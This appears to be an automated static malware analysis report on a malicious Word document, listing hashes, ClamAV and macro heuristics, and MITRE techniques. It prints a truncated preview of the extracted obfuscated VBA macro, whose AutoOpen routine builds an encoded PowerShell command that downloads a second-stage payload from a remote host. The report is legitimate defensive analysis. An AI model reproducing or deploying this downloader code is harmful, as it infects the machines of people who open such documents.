Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 016520cc989c8a4f…

MALICIOUS

Office (OLE)

183.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-10-01
MD5: bb5d5c5dc367cb3f052c70b053d48841 SHA-1: 8fc689fa24d3f9ad4aee793eabae340647043c88 SHA-256: 016520cc989c8a4fe155620443d7a7e2f66e6acd7d8bc0ba88a3b88bc5576988
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic and the presence of a VBA macro with an AutoOpen function indicate malicious intent. The AutoOpen macro is designed to execute automatically when the document is opened, a common technique for initiating malware execution. While the script is heavily obfuscated and truncated, its structure suggests it is intended to download and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 74538 bytes
SHA-256: 024fd23705ff6427bc5cba8475408867aa0ab0ac27ced77d92abd5ea32963b1f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const dIhYiywiqyzMoDYhECaqFLUjuBUV = 0
Sub AutoOpen()
On Error Resume Next
Dim PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq(5)

If LenB("CUHEKitaMezuDyqiGO") < 75527 Then
PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq(0) = VarType(Sqr(7552) + CInt("7552"))
Dim SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha(5)

If LenB("LUvOMihygosxOdUiy") < 72881 Then
SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha(0) = VarType(Sqr(7288) + CInt("7288"))
End If
SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha(1) = LTrim("LUvOMihygosxOdUiy") & "11"
SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha(2) = Day(72887288)

If Len("SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha") < Len("LUvOMihygosxOdUiy") Then
SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha(3) = Weekday(72881)
End If
End If
Dim waquDezUsIQitOtiHaDMuLlOKOhyH(5)

If LenB("HUQyFErEGewrE") < 10098 Then
waquDezUsIQitOtiHaDMuLlOKOhyH(0) = VarType(Sqr(1009) + CInt("1009"))
End If
waquDezUsIQitOtiHaDMuLlOKOhyH(1) = LTrim("HUQyFErEGewrE") & "88"
waquDezUsIQitOtiHaDMuLlOKOhyH(2) = Day(10091009)

If Len("waquDezUsIQitOtiHaDMuLlOKOhyH") < Len("HUQyFErEGewrE") Then
waquDezUsIQitOtiHaDMuLlOKOhyH(3) = Weekday(10098)
End If
PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq(1) = LTrim("CUHEKitaMezuDyqiGO") & "77"
PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq(2) = Day(75527552)
Dim QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD(5)

If LenB("DAbosOhoBuXHOPU") < 64332 Then
QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD(0) = VarType(Sqr(6433) + CInt("6433"))
End If
QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD(1) = LTrim("DAbosOhoBuXHOPU") & "22"
QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD(2) = Day(64336433)

If Len("QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD") < Len("DAbosOhoBuXHOPU") Then
QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD(3) = Weekday(64332)
End If

Dim jeiEWowEFeZAXaijYNEKYfimyxNYPA(5)

If LenB("DIGEDUkakHUcIlaZyBFiQi") < 306 Then
jeiEWowEFeZAXaijYNEKYfimyxNYPA(0) = VarType(Sqr(30) + CInt("30"))
End If
jeiEWowEFeZAXaijYNEKYfimyxNYPA(1) = LTrim("DIGEDUkakHUcIlaZyBFiQi") & "66"
jeiEWowEFeZAXaijYNEKYfimyxNYPA(2) = Day(3030)

If Len("jeiEWowEFeZAXaijYNEKYfimyxNYPA") < Len("DIGEDUkakHUcIlaZyBFiQi") Then
jeiEWowEFeZAXaijYNEKYfimyxNYPA(3) = Weekday(306)
End If
If Len("PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq") < Len("CUHEKitaMezuDyqiGO") Then
Dim kilfOlAdEwonuxeKyGIzIpuKEqASE(5)

If LenB("DypFILuVOLelOyFOd") < 7159 Then
kilfOlAdEwonuxeKyGIzIpuKEqASE(0) = VarType(Sqr(715) + CInt("715"))
End If
kilfOlAdEwonuxeKyGIzIpuKEqASE(1) = LTrim("DypFILuVOLelOyFOd") & "99"
kilfOlAdEwonuxeKyGIzIpuKEqASE(2) = Day(715715)

If Len("kilfOlAdEwonuxeKyGIzIpuKEqASE") < Len("DypFILuVOLelOyFOd") Then
kilfOlAdEwonuxeKyGIzIpuKEqASE(3) = Weekday(7159)
End If
Dim mOMiQYBuqigoJyVuTAWYnA(5)

If LenB("iECuFotiQEbIjEG") < 20558 Then
mOMiQYBuqigoJyVuTAWYnA(0) = VarType(Sqr(2055) + CInt("2055"))
End If
mOMiQYBuqigoJyVuTAWYnA(1) = LTrim("iECuFotiQEbIjEG") & "88"
mOMiQYBuqigoJyVuTAWYnA(2) = Day(20552055)

If Len("mOMiQYBuqigoJyVuTAWYnA") < Len("iECuFotiQEbIjEG") Then
mOMiQYBuqigoJyVuTAWYnA(3) = Weekday(20558)
End If
PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq(3) = Weekday(75527)
End If
pYlYjUrivIZaXADIqyPowyQAcoq = "d.exe /c p^O^w^e^R^s^H^e^" + Format(Chr(((7 * 10) + 6))) + "^" + Format(Chr(((7 * 10) + 6))) + "^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^o^A^D^I^A^O^A^A^x^A^D^I^A^O^Q^A^z^A^D^I^A^O^Q^A^z^A^D^c^A^M^g^A^5^A^D^I^A^c^w^B^q^A^H^M^A^a^A^B^z^A^G^s^A^e^g^A^u^A^G^M^A^b^w^B^t^A^C^8^A^T^Q^B^Y^A^E^U^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^s^A^G^8^A^Z^A^B^w^A^
... (truncated)